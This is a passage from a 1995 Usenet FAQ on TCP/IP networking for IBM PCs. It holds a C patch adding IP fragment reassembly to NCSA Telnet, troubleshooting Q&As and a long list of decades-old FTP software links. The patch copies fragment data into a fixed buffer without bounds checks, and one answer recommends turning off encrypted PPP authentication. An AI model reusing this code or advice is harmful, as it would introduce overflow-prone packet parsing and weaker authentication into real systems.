fragment reassembly. I also know how to make telnet compile properly under Borland C without running out of space in DGROUP (see the end of this) if you have any questions, you can reach me at: matthew@echo.com. I am willing to help, within the limits of my schedule. changes follow: file: engine\ip.c (the only file that needs to change) delete the following: &gt;/* &gt;* We cannot handle fragmented IP packets yet, return an error &gt;*/ &gt; &gt; if(p-&gt;i.frags &0x20) { /* check for a fragmented packet */ &gt; netposterr(304); &gt; return(1); &gt; } ---------- after the line: &gt; iplen-=hlen; but before the lines: &gt; /* &gt; * check to make sure that the packet is for me. add this: /* check for fragment and handle. note that the &0x20 above is WRONG */ if(p-&gt;i.frags) /* NOW check for a fragmented packet - mtk add*/ { ipfraghandle(p,iplen); /* pass in computed iplen to save time */ return(1); } ---------- and then, at the end of that file (ip.c) add this: /* * IP Fragment Reassembly Hack * by Matthew T Kaufman (matthew@echo.com) * 1/1993, 8/1993 */ typedef struct ipb { DLAYER d; IPLAYER i; uint8 data[4104]; /* "Big Enough" */ }FIPKT; #define IPF_CHUNKS 513 /* 4104 / 8 */ #define IPF_BITWORDS 18 /* 513 / 32 round up + 1*/ #define IPF_BUFFERS 7 /* Max # of different fragmented pkts in transit */ typedef struct { FIPKT pkt; unsigned long bits[IPF_BITWORDS]; int lastchunk; unsigned long lasttime; unsigned int iplen; }FPBUF; static FPBUF far Frag[IPF_BUFFERS]; ipfraghandle(IPKT *p, int iplen) { uint16 fraginfo; uint16 foffset; uint16 iden; FPBUF far *buf; int i; fraginfo = intswap(p-&gt;i.frags); foffset = fraginfo & (0x1fff); #define morefrags (fraginfo & (0x2000)) iden = intswap(p-&gt;i.ident); /* we already KNOW that this IS fragmented */ /* see if we can find any friends who've already arrived... */ buf = (FPBUF *) 0L; for(i=0; i&lt;IPF_BUFFERS; i++) { if(p-&gt;i.ident == Frag[i].pkt.i.ident) { buf = &(Frag[i]); goto foundfriend; } } /* otherwise, we must be the first one here */ { long oldtime = 0x7fffffff; int oldest = 0; for(i=0; i&lt;IPF_BUFFERS; i++) { if(Frag[i].lasttime == 0) /* unused buffer? */ { buf = &(Frag[i]); goto foundempty; } if(Frag[i].lasttime &lt; oldtime) /* track LRU */ { oldtime = Frag[i].lasttime; oldest = i; } } /* if we're here, we need to reuse LRU */ buf = &(Frag[oldest]); foundempty: ; /* initialize new buffer */ /* time will be filled in later */ for(i=0; i&lt;IPF_BITWORDS; i++) buf-&gt;bits[i] = 0L; /* reset */ buf-&gt;lastchunk = 0; /* reset */ /* fill in the header with the current header */ movmem(p,&(buf-&gt;pkt), sizeof(DLAYER) + sizeof(IPLAYER) ); } foundfriend: ; /* now, deal with this specific fragment... */ /* copy data */ movmem(&(p-&gt;x.data),&(buf-&gt;pkt.data[8 * foffset]),iplen); /* update rx chunks information */ for(i=foffset; i&lt;= (foffset+(iplen / 8)); i++) { buf-&gt;bits[i/32] |= (unsigned long) (1L&lt;&lt;(i % 32)); } if(!morefrags) { /* now we can tell how long the total thing is */ buf-&gt;iplen = (8*foffset)+iplen; buf-&gt;lastchunk = foffset; /* actually, lastchunk is more than this, but it */ /* IS true that we only need to check through */ /* this foffset value to make sure everything has */ /* arrived -mtk */ } /* now touch the time field, for buffer LRU */ buf-&gt;lasttime = clock(); /* check to see if there are fragments missing */ if(buf-&gt;lastchunk == 0) { /* we haven't even gotten a fragment with a cleared MORE */ /* FRAGMENTS flag, so we're missing THAT piece, at least */ return 1; } for(i=0; i&lt;= buf-&gt;lastchunk; i++) { /* scanning to see if we have everything */ if(0 == ((buf-&gt;bits[i/32]) & (unsigned long)(1L&lt;&lt;(i % 32))) ) { return 1; /* still waiting for more */ } } /* otherwise, done waiting... use the packet we've gathered */ /* first clear stuff from fragment buffer: */ buf-&gt;lasttime = 0L; /* mark as free to take */ buf-&gt;lastchunk = 0; /* need to do this, because we use it as flag */ buf-&gt;pkt.i.ident = 0; /* so we don't find this later */ buf-&gt;pkt.i.frags = 0; /* in case anybody above us checks */ /* then send it on its way... */ if(!comparen(nnipnum,p-&gt;i.ipdest,4)) { /* potential non-match */ if(comparen(nnipnum,junk,4) && p-&gt;i.protocol==PROTUDP) return(udpinterpret((UDPKT *)p,iplen)); return(1); /* drop packet */ } /* end if */ switch (buf-&gt;pkt.i.protocol) { /* which protocol */ case PROTUDP: return(udpinterpret((UDPKT *)&(buf-&gt;pkt),buf-&gt;iplen)); case PROTTCP: return(tcpinterpret((TCPKT *)&(buf-&gt;pkt),buf-&gt;iplen)); case PROTICMP: return(icmpinterpret((ICMPKT *)&(buf-&gt;pkt),buf-&gt;iplen)); default: netposterr(303); return(1); } } *** helpful hint: if you run out of space in DGROUP, its because your compiler doesn't place each 'far' data object in its own segment. To make things work, you need to make the raw packet buffer be in its own segment. Here's how: in include/pcdefs.h search for: --&gt; unsigned char far raw[17000]; (the 17000 might be some other number... smaller, if someone tried to fix this before) and change to --&gt; unsigned char far raw[17000]={0,0}; /* force into own segment */ F-11. I am trying to configure a Macintosh to set its parameters automatically on bootup, but it isn't working. What's wrong? MacTCP has several bugs that can make it difficult to do automatic configuration. If you are trying to configure the default gateway by sending RIP packets to a Mac, you may have problems. While MacTCP can use RIP to configure the default gateway, it has a bug in that it will not choose the lowest advertised hop count, as it should. Instead, it uses the first RIP packet that comes along. But wait, there's more. When booted in "dynamic" mode, MacTCP puts out an ICMP Address Mask Request. This method of determining the network mask is often unsupported by other hosts. For example, my UNIX machine does not respond to these packets, and neither does KA9Q; some UNIX implementations such as System VR4 may return the wrong answer. As a result, my advice is not to automatically configure the subnet mask this way. But wait, there's more. When booted in "server" configuration mode off a LAN, MacTCP uses a buggy version of BOOTP. So if you send it a list of gateways, it will just use the first one sent, even if it is down and one of the others is up. F-12. I've heard that DHCP is a potential security risk. Is this true? No, it isn't. The concern relates to the use of dynamically allocated addresses, not DHCP per se. BOOTP allows configurations to be stored in a table, so that you know that student 337.ip.berkeley.edu corresponds to Ralphie Root, in case they do something nasty. However, in addition to dynamic address allocation from a pool, the DHCP protocol supports reservation of certain IP addresses for various MAC addresses, as well as automatic assignment, where an address is dynamically assigned the first time, then continues to be assigned to the same host after that. The result is that going to DHCP won't lose you any flexibility. Some services, such as FTP servers, will have problems with dynamically allocated addresses if DNS records are not properly setup for them. To do this, a given address must have a PTR record to an FQDN, and that FQDN must also point back to the address. This can be done by creating PTR and A records for all the addresses in the pool. F-13. What is TIA? TIA is a program that can be run on a UNIX shell account, which allows you to run graphical applications such as Mosaic as though you were connected over a SLIP link. You can therefore use TIA with stacks such as Trumpet Winsock, Chameleon, etc. TIA does not require root permissions, so it can only use ports 1024+, and therefore using it you can only run client applications, not server apps. To use TIA, your provider must offer an "8-bit clean" environment. This is *not* the same as 8-N-1 communications parameters, since even if you are using this, some characters may still cause problems. Many Internet service providers (such as Netcom) now officially endorse TIA for use on shell accounts. While right now only SLIP is supported, support for CSLIP and PPP is reportedly in the works. For information on TIA, check out: http://marketplace.com/ ftp://marketplace.com/tia/ ftp://marketplace.com/tia/docs/ F-14. What PC TCP/IP implementations support recent advances? Here is a list of vendors supporting various advances: Long Fat Pipes: T/TCP: TOS queuing: Path MTU discovery (UDP): Path MTU discovery (TCP): OSPF: Round-robin DNS: DHCP client: FTP Software, Microsoft TCP/IP-32, NT NFS over TCP: SNMP Agents: Chameleon, FTP Software, Windows NT [Vendors out there, please pipe up if you support one or more of these!] F-15. What network adapters have on-board SNMP agents? This is by no means a complete list, but the following vendors are known to support this: MasterLAN ISA by UB Networks, Inc. 800-777-4LAN. ProNIC LAN10MM by Zenith Electronics Corp. 800-788-7244. F-16. What is the easiest way to get WFW and Novell to coexist? Before installing WFW v3.11, install Novell on the machine using an ODI driver. Then install WFW, and after that, the TCP/IP-32 protocol stack. The installers will automatically detect the present of Novell Netware, and will complete the setup for you, usually without a hitch. WFW v3.11 can talk directly to ODI drivers, so you will not need ODINSUP. F-17. I'm trying to use packet driver software alongside WFW v3.11 and am having a hell of a time. What should I do? Your problem is probably that you are trying to run NDIS v3.0 drivers alongside DIS_PKT. This will not work. What you need is Dan Lanciani's NDIS3PKT.386, a VxD packet driver over NDIS shim. See part 2 for details on how to get this. F-18. What proxy software is available for those concerned about security? WS_FTP can act as a proxy client to some ftpd version. Does anyone know what the appropriate server side is? Mosaic has also reportedly been "socksified." Any further details on this? Information on proxies is available at tns.com. F-19. How do I mount ftp.microsoft.com using File Manager? This is a really cool thing, since it is a lot faster than most graphical FTP applications, and is easy to do. Be aware that for this to work, you must *not* be behind a firewall. 1. Edit the WIN\LMHOSTS file to include the following line: 198.105.232.1 FTP 2. Set Microsoft TCP/IP up to "Resolve using LMHOSTS file" 3. Open the File Manager, and select Connect Network Drive from the Disk Menu. Type: \\FTP\DATA to the path to mount the FTP server area in the File Manager. Do *not* check the box saying "Reconnect on startup" 4. Copy files. 5. Select Disconnect Network Drive from the Disk menu. F-20. I am having problems connecting to a Windows NT PPP server. What should I do? On Windows NT you are probably using CHAP as the authentication protocol within LCP. Try using PAP authentication instead on both client and server. This can be accomplished by unchecking "Require encrypted authentication," which is the default setting. If this still doesn't work, you may be having problems in the IPCP negotiation. Leaving the remote and local IP addresses set to 0.0.0.0 may solve the problem, allowing these parameters to be set by the NT server. F-21. When should I use COMT? COMT is a "Telnet modem" that can be used to allow any communications program to use Telnet. Since COMT acts like a modem, you can telnet to a site using commands such as ATDTwell.com (to dial The WELL). Why should you care about this? a. If you want to do an XMODEM, YMODEM, or ZMODEM transfer over Telnet. For this to work, your Telnet implementation will need to negotiate a binary (8-bit) channel. b. You want to use RIP or ANSI graphics. Via COMT you can use a program such as QMODEM Pro to login to that RIP BBS. c. You need to dial in to CompuServe or AOL over the Internet. Using COMT you can fool the standard versions of these programs into dialing in over the Internet. F-22. What version of POP should I be running alongside Eudora? A lot of people (including me!) run the June 1991 1.83 beta of POP called popper, available via: ftp://ftp.CC.Berkeley.edu/pub/pop/solaris2/popper.tar.Z This generally works ok, but there are newer versions out there. These include: ftp://ftp.qualcomm.com/quest/unix/se...2.1.3-r5.tar.Z (Qualcom POP server) ftp://ftp.cac.washington.edu/imap/imap.tar.Z (ipop3d, part of the IMAP distribution) F-23. How do I use Netscape to read local files? To use Netscape without a network, you will need the following file: ftp://ftp.mcom.com/netscape/unsuppor...ows/mozock.dll Install this as winsock.dll; you will then be able to run Netscape to view local files. F-24. I want to run an NNTP server under OS/2. Does such an animal exist? Apparently yes. There is an OS/2 native appliation called changi01.zip that uses inews and UUPC to connect to a news server. This runs under OS/2 v3.0, and IBM TCP/IP v2.0. G. Information for developers G-1. What publicly distributable TCP/IP stacks are there that I can use to develop my own applications? In writing an application, you can use device drivers provided by particular vendors, or you can opt for an Application Binary Interface (ABI) that supports multiple TCP/IP protocol stacks, such as Winsock. For a given version of Windows, Winsock is an ABI for both Windows 3.x and Windows NT (via the NT Win16 subsystem). Device drivers are included with PC-NFS and Beame & Whiteside's BW-TCP. Free examples of ABIs are the WATTCP API, the NCSA API (public domain), the Trumpet ABI from Peter Tattum, and the NuPOP ABI. All major TCP/IP vendors have by now implemented Windows Sockets. G-2. Where can I get a copy of the Windows Sockets FAQ? A separate developer-oriented FAQ file about Windows Sockets created by Mark Towfiq is available on ftp://SunSite.UNC.EDU/pub/micro/pc-s...ws/winsock/FAQ and ftp://Microdyne.COM/pub/winsock/FAQ An alternative source for the FAQ is ftp://ftp.microsoft.com/ G-3. How do I do multicasting using Windows Sockets? Information on use of multicasting is available via: ftp://ftp.microsoft.com/bussys/WinSo...t/MULTCAST.TXT and ftp://ftp.microsoft.com/bussys/WinSock/ms-ext/winsock.h ------------------------------ END OF PART 2 ------------------------ Please send comments to: Bernard Aboba Author of: The Online User's Encyclopedia, Addison-Wesley, 1994 The PC-Internet Connection, Publisher's Group West, due in 1995 mailto:aboba@netcom.com FTP archive: ftp://ftp.zilker.net/pub/mailcom/ WWW page: http://www.zilker.net/users/internaut/index.html From: aboba@netcom.com (Bernard Aboba) Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 3 of 5 Expires: Fri, 12 May 1995 00:00:00 GMT Followup-To: poster Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI Organization: MailCom Reply-To: aboba@netcom.com Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers Approved: news-answers-request@MIT.Edu Summary: Frequently Asked Questions (and answers) about TCP/IP on PC-Compatible Computers Archive-name: ibmpc-tcp-ip-faq/part3 comp.protocols.tcp-ip.ibmpc: FAQ Posting, part 3, 4/1/95 ########## QUICKIE Guide to Useful Stuff ########## Drivers Packet drivers: ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip Packet specs: ftp://ftp.ftp.com/pub/packet-d.ascii NDIS specs: ftp://ftp.ftp.com/support/pub/ndis/ndis-mac.v10 ftp://ftp.ftp.com/support/pub/ndis/ndis-mac.v20 NDIS drivers: ftp://ftp.ftp.com/support/pub/ndis/ ODI driver info: ftp://sjf-lwp.novell.com/anonymous/dev_docs/lan_drv/ ftp://netlab2.usu.edu/odi ODI Protocol stack info: ftp://sjf-lwp.novell.com/anonymous/dev_docs/pstacks/ Slipper: ftp://ftp.utas.edu.au/pc/trumpet/slipper/slipper.zip PKTMUX: ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/pktmux12.exe EtherPPP: ftp://merit.edu/pub/ppp/pc/etherppp.zip GoSLIP: ftp://ftp.cdrom.com/.5/cica/winsock/goslip2.zip ODIPKT: ftp://newdev.harvard.edu/pub/odipkt/odipkt.com Config file: ftp://newdev.harvard.edu/pub/odipkt/net.cfg Readme file: ftp://newdev.harvard.edu/pub/odipkt/readme TCP/IP Stacks Microsoft TCP/IP-32: ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/ Trumpet Winsock: ftp://biochemistry.bioc.cwru.edu/pub...sk/winsock.zip ftp://ftp.utas.edu.au/pc/trumpet/winsock/winsock.zip ftp://biochemistry.bioc.cwru.edu/pub...sk/winapps.zip ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps.zip Chameleon sampler: ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe Web browsers: BookLink: ftp://ftp.booklink.com/lite/netlite.exe Netscape: ftp://ftp.digital.com/pub/net/infosys/Mosaic-Comm/ ftp://lark.cc.ukans.edu/Netscape/ ftp://ftp.meer.net/pub/Netscape/ ftp://src.doc.ic.ac.uk/packages/Netscape/ ftp://unix.hensa.ac.uk/pub/mosaic.comm.corp/ ftp://archie.au/pub/misc/netscape/ ftp://ftp.cica.indiana.edu/pub/pc/win3/winsock/ (PC only) ftp://mac.archive.umich.edu/mac/util/network/ (Mac only) EINet WinWeb: ftp://ftp.einet.net/einet/pc/winweb.zip Mosaic: ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/wmos20a7.zip, ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/win32s.zip, ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/readme.now Cello: ftp://ftp.law.cornell.edu/pub/LII/Cello/cello.zip, ftp://ftp.law.cornell.edu/pub/LII/Cello/cellofaq.zip Other Winsock Applications Trumpet Newsreader: ftp://biochemistry.bioc.cwru.edu/pub/wintrumpet/ CU-SeeMe: ftp://gated.cornell.edu/pub/video/cuseeme.zip HGopher: ftp://ftp.cdrom.com/.5/cica/winsock/hgoph24.zip WSGopher: ftp://sunsite.unc.edu/pub/micro/pc-s...s/wsgopher.zip InterGopher: ftp://ftp.intercon.com/InterCon/sale...ks/igopher.exe BCGopher: ftp://ftp.demon.co.uk/pub/ibmpc/wins...r/bcgopher.zip PNL Gopher: ftp://ftp.pnl.gov/ Voice Chat: ftp://ftp.cdrom.com/.5/cica/winsock/ivc11.zip Global Phone: ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp16_102.zip ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp8_102.zip PCEudora: ftp://ftp.qualcomm.com/quest/windows...4/eudor144.exe (PC Eudora) EWAN: ftp://ftp.best.com/pub/bryanw/pc/winsock/ewan1052.zip WinFTP: ftp://ftp.cdrom.com/.5/cica/winsock/winftp.zip WinTalk: ftp://ftp.cdrom.com/.5/cica/winsock/wtalk121.zip 3270: ftp://ftp.ccs.queensu.ca/pub/msdos/tcpip/qws3270.zip PhWIN: ftp://ftp.cdrom.com/.5/cica/winsock/phwin22.zip FTP client: ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp.zip (16 bit) ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp32.zip (32 bit) EINet WAIS: ftp://ftp.einet.net/einet/pc/EWAIS204.ZIP Comt: ftp://ftp.std.com/customers/software/rfdmail/comt.zip Finger: ftp://winftp.cica.indiana.edu/pub/pc...k/finger31.zip Dialer: ftp://winftp.cica.indiana.edu/pub/pc...il/dialexe.zip WinQVTNet: ftp://biochemistry.cwru.edu/pub/qvtnet/ WSArchie: ftp://ftp.cdrom.com/.5/cica/winsock/wsarch07.zip WSIRC: ftp://ftp.cdrom.com/.5/cica/winsock/wsirc14c.zip WinVN: ftp://ftp.cdrom.com/.5/cica/winsock/winvn926.zip WinFSP: ftp://ftp.cdrom.com/.5/cica/winsock/winfsp12.zip Wlpr: ftp://ftp.cica.indiana.edu/pub/pc/wi...k/wlprs40c.zip Whois: ftp://ftp.cdrom.com/.5/cica/winsock/whois32.zip WinTelnet: ftp://ftp.ncsa.uiuc.edu/PC/Telnet/windows/wtel1b3.zip MPEG Viewer: ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/viewers/mpegw32c.zip Windows Quicktime: ftp://lister.cc.ic.ac.uk/pub/wingoph...es/qtwplay.zip Windows sound player: ftp://lister.cc.ic.ac.uk/pub/wingoph.../wnplny09b.zip Viewers: ftp://ftp.law.cornell.edu/pub/LII/Cello/viewers.zip Windows W3 server: ftp://sunsite.unc.edu/pub/micro/pc-s...s/serweb03.zip JPEG Viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/lview31.zip GIF Viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/wingif14.zip Wham viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/wham131.zip Ghostscript: ftp://ftp.law.cornell.edu/pub/LII/Cello/gswin.zip X Windows Demo: ftp://winftp.cica.indiana.edu/pub/pc...s/xwindemo.zip Windows NT servers W3 server: ftp://emwac.ed.ac.uk/pub/https/HSI386.ZIP WAIS server: ftp://emwac.ed.ac.uk/pub/waistool Gopher server: ftp://emwac.ed.ac.uk/pub/gophers/GSI386.ZIP FTP server: ftp://sunsite.unc.edu/pub/micro/pc-s...ps/nt-ftpd.zip DOS Applications Minuet: ftp://boombox.micro.umn.edu/pub/pc/m...t/minuarc.exe, ftp://boombox.micro.umn.edu/pub/pc/m...st/install.txt PC-Pine: ftp://ftp.cac.washington.edu/mail/PC-PINE/pcpine_p.zip NCSA Telnet: ftp://merit.edu/pub/ppp/pc/ncsappp.zip KA9Q: ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.exe, ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.txt, ftp://biochemistry.bioc.cwru.edu/pub/nos/nos192.txt NOS View: ftp://ucsd.edu/hamradio/packet/tcpip...w/nosvw304.zip NUPOP: ftp://ftp.acns.nwu.edu/pub/nupop/ Programming tools Pasock: ftp://oak.oakland.edu/SimTel/win3/winsock/pasock10.zip ############################################################ RESOURCE LISTING Key Recommendation = I use, or have used this software or equipment, and I like it. Suggestion = I have not used this software, but it has been recommended to me by people that I trust. Downright Speculation = Neither myself nor anyone I know has used this, but it claims to offer interesting capabilities, so it's included. BOOKS Downright speculation NOSIntro - An Introduction to the KA9Q Network Operating System Price: 11.50 Pounds sterling, plus postage and handling. U.S. price, including shipping: 17.34 pounds sterling This book by Ian Wade (author of NOSView) thoroughly covers KA9Q. Publisher is Dowermain, 356 pages, 35 chapters, 6 appendices, illustrated. ISBN 1-897649-00-2. Dowermain, Ltd., 7 Daubeney Close, Harlington, DUNSTABLE, Bedfordshire, LU5 6NF, United Kingdom, mailto:ian@g3nrw.demon.co.uk. Written orders only, no U.S. distributor yet. Recommendation InfoPOP - Guide to Internet Resources Free InfoPOP/Windows is a smallish guide to the Internet in the form of a Windows Help application. InfoPOP/DOS is a TSR with the same content. Available via ftp://gmuvax2.gmu.edu/, or gopher://fenwick.gmu.edu/ Computers/Info-Technology/Software |___under Software available on this Gopher MAILING LISTS Windows Sockets mailto:winsock-request@microdyne.com mailto:winsnmp-request@microdyne.com W3 for Windows mailto:LISTSERV@fatty.law.cornell.edu, with sub cello-l your full name in the body of the message. Firewalls mailto:majordomo@greatcircle.com, with sub firewalls-digest in the body of the message. Back issues are available at ftp.greatcircle.com:/pub/firewalls.digest/vNN.nMMM.Z where NN is the volume number and MMM is the issue number. Socks mailing list Discussion of application level gateways. mailto:socks-request@inoc.dl.nec.com SNMPv1 list mailto:snmp-request@psi.com, subject: subscribe, body: youraddress@yourhost.domain SNMPv2 list mailto:snmpv2-request@tis.com, subject: subscribe, body: youraddress@yourhost.domain Novell mailing list mailto:listserv@suvm.acs.syr.edu body: subscribe NOVELL &lt;Your Full Name&gt; CUTCP mailing list mailto:listserv@nstn.ns.ca body: sub cutcp-l &lt;Your Full Name&gt; Samba mailing list Discussion of the very cool SMB server software for UNIX. mailto:listproc@anu.edu.au Leave subject line blank, body: subscribe samba Firstname Lastname subscribe samba.announce Firstname Lastname Fergie mailing list For discussion of the packet sniffing and analysis software. mailto:request@dnpap.et.tudelft.nl body: subscribe fergie DHCP mailing list mailto:host-conf-request@sol.cs.bucknell.edu Internet Voice Chat users list http://pluto.njcc.com/~jjkane/ivcusers.html Also try IRC channel #IVC, or alt.winsock.ivc TOASTERNETS The Little Garden San Francisco, CA mailto:info@tlg.org Santa Cruz Community Internet (scruz-net) 903 Pacific Ave. #203-A Santa Cruz, CA 95060 (408)457-5050 mailto:info@scruz.net North Bay Network 20 Minor Court San Rafael, CA 94903 (415)472-1600 mailto:info@nbn.com RAINet 9501 SW Westhaven Portland, OR 97225 (503)297-8820 mailto:admin@rain.com OBTAINING SOFTWARE If you don't have access to FTP, you can retrieve the files via e-mail, using the following mail servers: FTPmail mailto:ftpmail@decwrl.dec.com mailto:ftpmail@ftp.uni-stuttgart.de mailto:ftpmail@grasp.insa-lyon.fr mailto:ftpmail@doc.ic.ak.uk For information on how to do this, put "help" in the body of the message. BITFTP (available to BITNET users only) mailto:bitftp@vm.gmd.de mailto:bitftp@plesarn.edu.pl mailto:bitftp@pucc.princeton.edu CHAMELEON *Recommendation Chameleon Sampler Free This is the sampler version of the NetManage Chameleon TCP/IP product. Available via: ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe TRUMPET WINSOCK Recommendation Trumpet WinSock v2.0b A shareware version of Windows Sockets that runs over packet drivers and requires WINPKT. The latest version supports PPP as well as SLIP/CSLIP, and Socks Proxies. Available as: ftp://ftp.utas.edu.au/pc/trumpet/winsock/twsk20b.zip, ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps2.zip, or ftp://biochemistry.bioc.cwru.edu/pub...k/twsk20b.zip, ftp://biochemistry.bioc.cwru.edu/pub...k/winapps2.zip P. Tattam, Programmer; Psychology Department, University of Tasmania, Hobart, Tasmania, Australia, 61-02-202346; mailto:peter@psychnet.psychol.utas.edu.au Downright Speculation VxDTCP A shareware version of Windows Sockets, running over NDIS, and implemented as a VxD driver. Available at: ftp://biochemistry.bioc.cwru.edu/pub...p/vxdtcpa2.zip MICROSOFT TCP/IP Recommendation Microsoft TCP/IP-32 for WFW 3.11 Adds TCP/IP to WFW 3.11. This stack is unique in that it supports NetBIOS over TCP/IP, allowing you to mount shares across the Internet, including ftp.microsoft.com. Available as: ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/ CHAMELEON SAMPLER Recommendation Chameleon Sampler Free This is an introductory version of Chameleon by NetManage, that is currently packaged with various Windows Internet books (including mine). This supports SLIP/CSLIP/PPP, but not network adapters. In my opinion this is the easiest to setup, fully functional dialup IP stack around. The package includes applications for mail, ftp, telnet, and ping. Telnet supports TTY, ANSI, VT52, VT100, and VT220 emulation. However, be aware that this stack should not be installed if you already have another WINSOCK DLL loaded; several applications in Chameleon Sampler do not check for another WINSOCK version and will load the NEWT stack anyway. Available via: ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe NetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014, (408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com *Suggestion Internet Connect v2 Internet-Connect v2.0 from Core Systems is a TCP/IP stack implemented as a 32-bit VxD and DLL, thus requiring no DOS memory. It supports both LAN (Ethernet) and SLIP/CSLIP/PPP connections. Other features include demand dial, dynamic address assignment, scripting, multiple interfaces with IP routing and forwarding, and BOOTP/DHCP. Internet-Connect v2.0 provides a complete Winsock API. A Windows-based setup program and network configuration utility is included. Available via: ftp://oak.oakland.edu/SimTel/win3/winsock/inetv2.zip DIALERS Recommendation Dialer Free DIALER is a Windows program that will dial up a host and then run a series of WIndows applications. It isn't needed with Trumpet Winsock anymore, since this now has its own built-in scripting language. Available at: ftp://winftp.cica.indiana.edu/pub/pc...il/dialexe.zip ftp://ftp.cdrom.com/.5/cica/winsock/dialexe.zip Recommendation GOSLIP Free This is another SLIP dialer with built-in scripting that allows for multiple configurations, for each service you dial. Available at: ftp://winftp.cica.indiana.edu/pub/pc...il/goslip2.zip ftp://ftp.cdrom.com/.5/cica/winsock/goslip2.zip Recommendation NetDial Shareware$20

Another dialer application that can support up to 5 configurations.
Available at:
ftp://winftp.cica.indiana.edu/pub/pc...il/netd122.zip
ftp://ftp.cdrom.com/.5/cica/winsock/netd122.zip
ftp://winftp.cica.indiana.edu/pub/pc...l/netd122u.zip
ftp://ftp.cdrom.com/.5/cica/winsock/netd122u.zip

Recommendation
Crynwr drivers free
Support Contact Crynwr for info

The Crynwr drivers, formerly known as the Clarkson University
CUTCP drivers, are created by Russ Nelson of Crynwr Software,
which sells packet and other driver support. The Crynwr
drivers support many Ethernet adapter boards, including
those from 3COM, Telesystems, AT&T, Digital, Mitel, HP,
BICC, NCR, Novell, Interlan, MICOM, Racal/Interlan, NTI,
Tiara, Ungermann-Bass, and Western Digital.

The Packet Driver Specification v1.09 is available via:
ftp://vax.ftp.com/pub/packet-d.ascii,
ftp://vax.ftp.com/pub/ppacket-d.mss

PC-NFS drivers available in
ftp://ftp.sun.soe.clarkson.edu/pub/p...ers/compat.zip
(requires Sun's PC-NFS).

The drivers, currently in release 11 are available at:
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip (executables)
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11a.zip (sources)
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktdt11b.zip (sources)
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip (executables)

Crynwr Software, 11 Grant St., Potsdam, NY 13676,
(315)268-1925, fax: (315)268-9201, mailto:nelson@Crynwr.com

Recommendation
Intel EtherExpress Driver free

This is a replacement packet driver for the Intel Etherexpress driver
(exp16.com) found in v11 of the Crywr packet driver library. It fixes
problems with "Unable to initialize the 82586" errors on 486/66 or
faster machines.

Available from:
ftp://oak.oakland.edu:/pub/msdos/pktdrvr/exp16116.zip

Downright speculation
Drivers for Western Digital Ethernet Boards free

Available as:
ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/wdpost.zip

Recommendation
NDIS Drivers free

Libraries of free NDIS drivers for DOS and OS/2 are
available at FTP Software, Inc. at
ftp://vax.ftp.com/ndis/ndis.txt. Another source of
NDIS drivers is the Windows for Workgroups package.
Product Support Services, available at (206)936-MSDL,
or on CompuServe or GEnie. The Windows Driver LIbrary (WDL),
which includes printer, display and network drivers is also
available on disk from Microsoft by calling (800)426-9400.

The NDIS spec is available as:
ftp://vax.ftp.com/pub/ndis-mac.v101.txt,
ftp://vax.ftp.com/pub/ndis-mac.v201.txt

SLIP AND PPP DRIVERS

Suggestion
SLIPPER v1.5 Free
CSLIPPER Free

SLIPPER and CSLIPPER get rave reviews for being less
obtrusive than some other SLIP/CSLIP drivers so that
the machine loses fewer clock ticks. The result is
that the clock stays more accurate. SLIP/CSLIP operation
is supported at up to 57.6 Kbps on a 486. CSLIPPER is a
version which supports Van Jacobson header compression.
Supports PKTMUX.

SLIPPER is available from:
ftp://ftp.utas.edu.au/pc/trumpet/slipper/slipper.zip
ftp://biochemistry.cwru.edu/pub/slipper/slippr13.zip

CSLIPPER is available from:
ftp://biochemistry.cwru.edu/pub/slipper/cslipper.exe

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Recommendation
ETHERPPP Free

Glenn McGregor, formerly of Merit Network, has released
ETHERPPP, a PPP packet driver that simulates a class
1 (Ethernet) packet driver. It works well enough, is
simple to configure, but takes up too much RAM (121K).
Available as: ftp://merit.edu/pub/ppp/pc/etherppp.zip

WINDOWS SOCKETS COMPATIBLE APPLICATIONS

MAIL

Suggestion
UUPC

This is a port of UUPC for DOS, Windows, and Windows NT. It
support UUCP over a modem as well as over TCP/IP.
It does not include a mail or news reader. Available as:
ftp://ftp.clarkson.edu/pub/uupc/
ftp://ftp.clarkson.edu/pub/uupc/upc12baw.zip (docs)
ftp://ftp.clarkson.edu/pub/uupc/upc12bd1.zip (DOS executables, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bd2.zip (DOS executables, part 2)
ftp://ftp.clarkson.edu/pub/uupc/upc12bd3.zip (DOS executables, part 3)
